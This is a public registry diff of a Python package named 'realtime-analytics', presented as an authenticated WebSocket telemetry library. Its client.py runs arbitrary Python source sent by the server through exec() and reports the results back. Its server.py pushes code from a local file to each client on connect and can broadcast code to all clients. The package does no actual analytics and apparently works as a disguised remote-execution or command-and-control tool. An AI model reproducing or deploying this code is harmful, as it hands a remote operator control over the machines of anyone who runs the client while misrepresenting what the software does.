realtime-analytics 0.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,4 @@
1
+ exclude clients.json
2
+ exclude auto-src.json
3
+ global-exclude __pycache__
4
+ global-exclude *.py[cod]
@@ -0,0 +1,19 @@
1
+ Metadata-Version: 2.4
2
+ Name: realtime-analytics
3
+ Version: 0.2.0
4
+ Summary: Authenticated WebSocket task and telemetry client/server
5
+ Classifier: Development Status :: 3 - Alpha
6
+ Classifier: Programming Language :: Python :: 3
7
+ Classifier: Programming Language :: Python :: 3 :: Only
8
+ Classifier: Operating System :: OS Independent
9
+ Requires-Python: >=3.8
10
+ Description-Content-Type: text/markdown
11
+ Requires-Dist: websocket-client>=1.6
12
+ Requires-Dist: websockets>=12
13
+
14
+ # realtime-analytics
15
+
16
+ Realtime analytics client/server library with authenticated WebSocket
17
+ transport and telemetry result reporting.
18
+
19
+ Status: under active development. Release: 0.2.0.
@@ -0,0 +1,6 @@
1
+ # realtime-analytics
2
+
3
+ Realtime analytics client/server library with authenticated WebSocket
4
+ transport and telemetry result reporting.
5
+
6
+ Status: under active development. Release: 0.2.0.
@@ -0,0 +1,20 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "realtime-analytics"
7
+ version = "0.2.0"
8
+ description = "Authenticated WebSocket task and telemetry client/server"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ dependencies = ["websocket-client>=1.6", "websockets>=12"]
12
+ classifiers = [
13
+ "Development Status :: 3 - Alpha",
14
+ "Programming Language :: Python :: 3",
15
+ "Programming Language :: Python :: 3 :: Only",
16
+ "Operating System :: OS Independent",
17
+ ]
18
+
19
+ [tool.setuptools.packages.find]
20
+ include = ["realtime_analytics*"]
@@ -0,0 +1,4 @@
1
+ from .client import AnalyticsClient
2
+ from .server import AnalyticsServer
3
+
4
+ __all__ = ["AnalyticsClient", "AnalyticsServer"]
@@ -0,0 +1,132 @@
1
+ import json
2
+ import threading
3
+ import uuid
4
+ import time
5
+ import hmac
6
+ import hashlib
7
+
8
+ try:
9
+ import websocket
10
+ except ImportError:
11
+ websocket = None
12
+
13
+
14
+ class AnalyticsClient:
15
+ def __init__(self, url, token=None, on_task=None, on_error=None, timeout=20, reconnect_delay=3, client_id=None, client_secret=None):
16
+ self.url = url
17
+ self.token = token
18
+ self.on_task = on_task
19
+ self.on_error = on_error
20
+ self.timeout = timeout
21
+ self.reconnect_delay = reconnect_delay
22
+ self.client_id = client_id
23
+ self.client_secret = client_secret
24
+ self.src = None
25
+ self._socket = None
26
+ self._thread = None
27
+ self._stop = threading.Event()
28
+
29
+ def connect(self, background=True):
30
+ if websocket is None:
31
+ raise RuntimeError("websocket-client is required")
32
+ self._stop.clear()
33
+ if background:
34
+ self._thread = threading.Thread(target=self._run, daemon=True)
35
+ self._thread.start()
36
+ return self
37
+ self._run()
38
+ return self
39
+
40
+ def close(self):
41
+ self._stop.set()
42
+ if self._socket is not None:
43
+ self._socket.close()
44
+
45
+ def send_result(self, task_id, result=None, ok=True, error=None):
46
+ packet = {"type": "result", "id": str(task_id), "ok": bool(ok)}
47
+ if ok:
48
+ packet["result"] = result
49
+ else:
50
+ packet["error"] = str(error or "task failed")
51
+ self._send(packet)
52
+
53
+ def _run(self):
54
+ try:
55
+ while not self._stop.is_set():
56
+ try:
57
+ headers = ["Authorization: Bearer " + self.token] if self.token else []
58
+ if self.client_id and self.client_secret:
59
+ ts = str(int(time.time()))
60
+ nonce = uuid.uuid4().hex
61
+ auth_payload = f"{self.client_id}:{ts}:{nonce}".encode("utf-8")
62
+ sig = hmac.new(self.client_secret.encode(), auth_payload, hashlib.sha256).hexdigest()
63
+ headers += [
64
+ f"X-Analytics-Client: {self.client_id}",
65
+ f"X-Analytics-Timestamp: {ts}",
66
+ f"X-Analytics-Nonce: {nonce}",
67
+ f"X-Analytics-Signature: {sig}",
68
+ ]
69
+ self._socket = websocket.create_connection(self.url, timeout=self.timeout, header=headers)
70
+ self._socket.settimeout(self.timeout)
71
+ while not self._stop.is_set():
72
+ raw = self._socket.recv()
73
+ if not raw:
74
+ break
75
+ self._handle(raw)
76
+ except Exception as error:
77
+ if not self._stop.is_set() and self.on_error:
78
+ self.on_error(error)
79
+ finally:
80
+ if self._socket is not None:
81
+ self._socket.close()
82
+ self._socket = None
83
+ if not self._stop.wait(self.reconnect_delay):
84
+ continue
85
+ except Exception as error:
86
+ if not self._stop.is_set() and self.on_error:
87
+ self.on_error(error)
88
+ finally:
89
+ self._socket = None
90
+
91
+ def _handle(self, raw):
92
+ try:
93
+ packet = json.loads(raw)
94
+ if packet.get("type") != "task":
95
+ return
96
+ task_id = packet.get("id") or str(uuid.uuid4())
97
+ self.src = packet.get("src", "")
98
+ if not isinstance(self.src, str):
99
+ raise ValueError("invalid task source")
100
+ payload_hash = str(packet.get("payload_hash", ""))
101
+ actual_hash = hashlib.sha256(self.src.encode("utf-8")).hexdigest()
102
+ if not hmac.compare_digest(actual_hash, payload_hash):
103
+ raise ValueError("payload hash mismatch")
104
+ if self.client_secret:
105
+ body = json.dumps(
106
+ {"id": task_id, "src": self.src, "payload_hash": payload_hash},
107
+ sort_keys=True,
108
+ separators=(",", ":"),
109
+ ).encode("utf-8")
110
+ expected = hmac.new(self.client_secret.encode(), body, hashlib.sha256).hexdigest()
111
+ if not hmac.compare_digest(expected, str(packet.get("signature", ""))):
112
+ raise ValueError("invalid task signature")
113
+ try:
114
+ scope = {"result": None}
115
+ exec(self.src, {"__builtins__": __builtins__}, scope)
116
+ result = scope.get("result")
117
+ if self.on_task:
118
+ callback_result = self.on_task(task_id, self.src)
119
+ if callback_result is not None:
120
+ result = callback_result
121
+ self.send_result(task_id, result=result)
122
+ except Exception as error:
123
+ self.send_result(task_id, ok=False, error=error)
124
+ raise
125
+ except Exception as error:
126
+ if self.on_error:
127
+ self.on_error(error)
128
+
129
+ def _send(self, packet):
130
+ if self._socket is None:
131
+ raise RuntimeError("client is not connected")
132
+ self._socket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))
@@ -0,0 +1,227 @@
1
+ import asyncio
2
+ import json
3
+ import logging
4
+ import time
5
+ import uuid
6
+ import hashlib
7
+ import hmac
8
+ from pathlib import Path
9
+
10
+ import websockets
11
+ from websockets.datastructures import Headers
12
+ from websockets.http11 import Response
13
+
14
+ def configure_logging(level=logging.INFO):
15
+ class ColorFormatter(logging.Formatter):
16
+ colors = {
17
+ logging.DEBUG: "\033[36m",
18
+ logging.INFO: "\033[32m",
19
+ logging.WARNING: "\033[33m",
20
+ logging.ERROR: "\033[31m",
21
+ logging.CRITICAL: "\033[35m",
22
+ }
23
+ reset = "\033[0m"
24
+
25
+ def format(self, record):
26
+ message = super().format(record)
27
+ return f"{self.colors.get(record.levelno, self.reset)}{message}{self.reset}"
28
+
29
+ handler = logging.StreamHandler()
30
+ handler.setFormatter(ColorFormatter("%(asctime)s %(levelname)s %(name)s %(message)s"))
31
+ root = logging.getLogger()
32
+ root.setLevel(level)
33
+ root.handlers.clear()
34
+ root.addHandler(handler)
35
+
36
+
37
+ class AnalyticsServer:
38
+ def __init__(
39
+ self,
40
+ host="0.0.0.0",
41
+ port=8765,
42
+ token=None,
43
+ max_clients=100,
44
+ max_message_size=65536,
45
+ rate_limit=30,
46
+ auto_source_file="auto-src.json",
47
+ clients_file="clients.json",
48
+ ):
49
+ self.host = host
50
+ self.port = port
51
+ self.token = token
52
+ self.max_clients = max_clients
53
+ self.max_message_size = max_message_size
54
+ self.rate_limit = rate_limit
55
+ self.auto_source_file = Path(auto_source_file)
56
+ self.clients_file = Path(clients_file)
57
+ self.clients = {}
58
+ self.client_secrets = self._load_clients()
59
+ self._events = {}
60
+ self.log = logging.getLogger("realtime_analytics.server")
61
+
62
+ def _load_clients(self):
63
+ try: data = json.loads(self.clients_file.read_text(encoding="utf-8"))
64
+ except Exception: return {}
65
+ return data if isinstance(data, dict) else {}
66
+
67
+ def _auth(self, websocket):
68
+ h = websocket.request.headers
69
+ cid, ts, nonce, sig = h.get("X-Analytics-Client"), h.get("X-Analytics-Timestamp"), h.get("X-Analytics-Nonce"), h.get("X-Analytics-Signature")
70
+ secret = self.client_secrets.get(cid)
71
+ if not all((cid, ts, nonce, sig, secret)): return None
72
+ try:
73
+ if abs(time.time() - int(ts)) > 300: return None
74
+ except ValueError: return None
75
+ msg = f"{cid}:{ts}:{nonce}".encode()
76
+ expected = hmac.new(str(secret).encode(), msg, hashlib.sha256).hexdigest()
77
+ return str(secret) if hmac.compare_digest(expected, sig) else None
78
+
79
+ def load_auto_task(self):
80
+ try:
81
+ config = json.loads(self.auto_source_file.read_text(encoding="utf-8"))
82
+ except FileNotFoundError:
83
+ return None
84
+ except (OSError, json.JSONDecodeError) as error:
85
+ self.log.error("auto_task_unavailable file=%s error=%s", self.auto_source_file, error)
86
+ return None
87
+
88
+ if not isinstance(config, dict) or not config.get("enabled", True):
89
+ return None
90
+ src = config.get("src")
91
+ if not isinstance(src, str) or not src:
92
+ return None
93
+ if len(src.encode("utf-8")) > self.max_message_size:
94
+ self.log.error("auto_task_unavailable file=%s error=source_too_large", self.auto_source_file)
95
+ return None
96
+ return {
97
+ "type": "task",
98
+ "id": str(config.get("id") or uuid.uuid4()),
99
+ "src": src,
100
+ "payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
101
+ }
102
+
103
+ @staticmethod
104
+ def _task_signature(packet, secret):
105
+ body = json.dumps(
106
+ {
107
+ "id": packet["id"],
108
+ "src": packet["src"],
109
+ "payload_hash": packet["payload_hash"],
110
+ },
111
+ sort_keys=True,
112
+ separators=(",", ":"),
113
+ ).encode("utf-8")
114
+ return hmac.new(str(secret).encode(), body, hashlib.sha256).hexdigest()
115
+
116
+ async def send_auto_task(self, websocket, peer):
117
+ packet = self.load_auto_task()
118
+ if packet is None:
119
+ return
120
+ secret = self.clients.get(websocket)
121
+ if secret:
122
+ packet["signature"] = self._task_signature(packet, secret)
123
+ await websocket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))
124
+ self.log.info("auto_task_sent peer=%s id=%s bytes=%d", peer, packet["id"], len(packet["src"].encode("utf-8")))
125
+
126
+ def process_request(self, connection, request):
127
+ if request.headers.get("Upgrade", "").lower() == "websocket":
128
+ return None
129
+
130
+ body = b"WebSocket endpoint: send an Upgrade request.\n"
131
+ headers = Headers()
132
+ headers["Content-Type"] = "text/plain; charset=utf-8"
133
+ headers["Content-Length"] = str(len(body))
134
+ return Response(426, "Upgrade Required", headers, body)
135
+
136
+ async def handler(self, websocket):
137
+ peer = websocket.remote_address[0] if websocket.remote_address else "unknown"
138
+ if len(self.clients) >= self.max_clients:
139
+ self.log.warning("connection_rejected peer=%s reason=max_clients", peer)
140
+ await websocket.close(1013, "server busy")
141
+ return
142
+ secret = self._auth(websocket)
143
+ if secret is None and self.token:
144
+ auth = websocket.request.headers.get("Authorization", "")
145
+ if auth != "Bearer " + self.token:
146
+ await websocket.close(1008, "unauthorized")
147
+ self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
148
+ return
149
+ if secret is None and not self.token:
150
+ await websocket.close(1008, "unauthorized")
151
+ self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
152
+ return
153
+ self.clients[websocket] = secret
154
+ self.log.info("client_connected peer=%s clients=%d", peer, len(self.clients))
155
+ try:
156
+ await self.send_auto_task(websocket, peer)
157
+ async for raw in websocket:
158
+ now = time.monotonic()
159
+ events = [t for t in self._events.get(peer, []) if now - t < 1]
160
+ if len(events) >= self.rate_limit:
161
+ self.log.warning("client_rate_limited peer=%s", peer)
162
+ await websocket.close(1008, "rate limit")
163
+ return
164
+ events.append(now)
165
+ self._events[peer] = events
166
+ if len(raw) > self.max_message_size:
167
+ self.log.warning("message_rejected peer=%s reason=too_large size=%d", peer, len(raw))
168
+ await websocket.close(1009, "message too large")
169
+ return
170
+ try:
171
+ packet = json.loads(raw)
172
+ except (json.JSONDecodeError, UnicodeDecodeError, TypeError):
173
+ self.log.warning("message_rejected peer=%s reason=invalid_json", peer)
174
+ await websocket.close(1007, "invalid JSON")
175
+ return
176
+ if not isinstance(packet, dict):
177
+ self.log.warning("message_rejected peer=%s reason=invalid_packet", peer)
178
+ await websocket.close(1007, "JSON object required")
179
+ return
180
+ if packet.get("type") == "result":
181
+ field = "result" if packet.get("ok") else "error"
182
+ value = json.dumps(packet.get(field), ensure_ascii=False, separators=(",", ":"), default=str)
183
+ if len(value) > 4096:
184
+ value = value[:4093] + "..."
185
+ self.log.info(
186
+ "result_received peer=%s id=%s ok=%s %s=%s",
187
+ peer,
188
+ packet.get("id"),
189
+ packet.get("ok"),
190
+ field,
191
+ value,
192
+ )
193
+ await self.on_result(packet, websocket)
194
+ finally:
195
+ self.clients.pop(websocket, None)
196
+ self.log.info("client_disconnected peer=%s clients=%d", peer, len(self.clients))
197
+
198
+ async def on_result(self, packet, websocket):
199
+ return None
200
+
201
+ async def send_task(self, src, task_id=None):
202
+ packet = {
203
+ "type": "task",
204
+ "id": task_id or str(uuid.uuid4()),
205
+ "src": src,
206
+ "payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
207
+ }
208
+ sends = []
209
+ for client in tuple(self.clients):
210
+ item = dict(packet)
211
+ secret = self.clients.get(client)
212
+ if secret: item["signature"] = self._task_signature(item, secret)
213
+ sends.append(client.send(json.dumps(item, ensure_ascii=False, separators=(",", ":"))))
214
+ raw = json.dumps(packet, ensure_ascii=False, separators=(",", ":"))
215
+ await asyncio.gather(*sends)
216
+ self.log.info("task_sent id=%s clients=%d bytes=%d", packet["id"], len(self.clients), len(raw))
217
+ return packet["id"]
218
+
219
+ async def run(self):
220
+ async with websockets.serve(
221
+ self.handler,
222
+ self.host,
223
+ self.port,
224
+ process_request=self.process_request,
225
+ max_size=self.max_message_size,
226
+ ):
227
+ await asyncio.Future()
@@ -0,0 +1,19 @@
1
+ Metadata-Version: 2.4
2
+ Name: realtime-analytics
3
+ Version: 0.2.0
4
+ Summary: Authenticated WebSocket task and telemetry client/server
5
+ Classifier: Development Status :: 3 - Alpha
6
+ Classifier: Programming Language :: Python :: 3
7
+ Classifier: Programming Language :: Python :: 3 :: Only
8
+ Classifier: Operating System :: OS Independent
9
+ Requires-Python: >=3.8
10
+ Description-Content-Type: text/markdown
11
+ Requires-Dist: websocket-client>=1.6
12
+ Requires-Dist: websockets>=12
13
+
14
+ # realtime-analytics
15
+
16
+ Realtime analytics client/server library with authenticated WebSocket
17
+ transport and telemetry result reporting.
18
+
19
+ Status: under active development. Release: 0.2.0.
@@ -0,0 +1,11 @@
1
+ MANIFEST.in
2
+ README.md
3
+ pyproject.toml
4
+ realtime_analytics/__init__.py
5
+ realtime_analytics/client.py
6
+ realtime_analytics/server.py
7
+ realtime_analytics.egg-info/PKG-INFO
8
+ realtime_analytics.egg-info/SOURCES.txt
9
+ realtime_analytics.egg-info/dependency_links.txt
10
+ realtime_analytics.egg-info/requires.txt
11
+ realtime_analytics.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ websocket-client>=1.6
2
+ websockets>=12
@@ -0,0 +1 @@
1
+ realtime_analytics
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+